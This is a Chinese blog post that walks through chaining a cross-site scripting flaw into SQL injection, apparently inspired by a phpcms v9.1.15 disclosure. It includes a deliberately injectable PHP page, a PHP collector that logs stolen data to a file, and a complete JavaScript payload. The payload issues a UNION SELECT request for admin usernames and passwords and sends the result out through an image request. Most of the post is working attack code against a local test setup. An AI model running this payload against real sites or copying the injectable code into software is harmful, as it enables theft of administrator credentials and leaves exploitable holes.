编程开源技术交流,分享技术与知识

网站首页 > 开源技术 正文

利用xss 执行sql注入(xss注入实战)

wxchong 2024-08-07 01:38:38 开源技术 19 ℃ 0 评论


看见phpcms v9.1.15爆的xss和无权限的sql注入,于是就想测试下利用xss执行sql注入,虽然爆的这个phpcms漏洞还有很多其他的用法!但是,这个注入我没有找到phpcms v9.1.15测试,其他版本都没有测试成功!

于是乎我只有假想下一个极端环境:

1.前台有且只有一个xss漏洞(不能获取管理员cookie)

2.后台有且只有一个sql注入漏洞(注入漏洞文件只有管理员可以访问)

3.注入获得管理员密码可解密

4.除以上无其他任何漏洞(包括后台getwebshell)

其实我就是想说,我们只可以利用这个xss执行注入!

模拟注入漏洞代码

sqli.php

Default

<?php

@error_reporting (E_ALL & ~E_NOTICE & ~E_WARNING);//错误忽略

$con = mysql_connect("localhost","root","");

if(!$con) {die('Could not connect: ' . mysql_error());}

mysql_select_db("test",$con);

$id = $_GET['xss'];

$sql = "select id,realname from test where id="."$id";

$view = mysql_query($sql);

$row = mysql_fetch_array($view);

echo $row[id]."<br />";

echo $row[realname]."<br />";

?>

mysql数据库:

Default

database:test

table:test、admin

column:test.id、test.realname

admin.id、admin.username、admin.password

get.php(获取的注入后数据截取)

Default

<?php

$file = fopen("data.txt","a");

fwrite($file,$_GET['get']);

fclose($file);

?>

xsssqli.js(payload)

Default

function addLoadEvent(func)//窗口打开加载多个函数

{

var oldfunc=window.onload; //页面打开是加载方法

if(typeof(window.onload)!="function")

{

window.onload=func;

}

else

{

window.onload=function()

{

oldfunc();

func();

}

}

}

function get_xsssqli()

{

var url = "http://127.0.0.1/xss/sqli.php?xss=1%20and%201=2%20union%20select%20username,password%20from%20admin";

var ajax = null;

if(window.XMLHttpRequest)

{

ajax = new XMLHttpRequest();

}

else if(window.ActiveXObject)

{

ajax = new ActiveXObject("Microsoft.XMLHTTP");//ie6和一下老版本

}

else

{

return;

}

ajax.open("GET", url, true);

ajax.send(null);

ajax.onreadystatechange = function()

{

if(ajax.readyState == 4 && ajax.status == 200)

{

var img = document.createElement("img");

img.src = "http://127.0.0.1/xss/get.php?get="+ajax.responseText;

document.body.appendChild(img);

}

}

}

addLoadEvent(get_xsssqli);

模拟xss漏洞

Default

<html>

<head>

<title>use xss to sqli</title>

</head>

<body>

<script src=http://127.0.0.1/xss/get.js ></script>

</body>

</html>

最后成功得到数据:

当然你也可以写个正则截获指定数据!

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表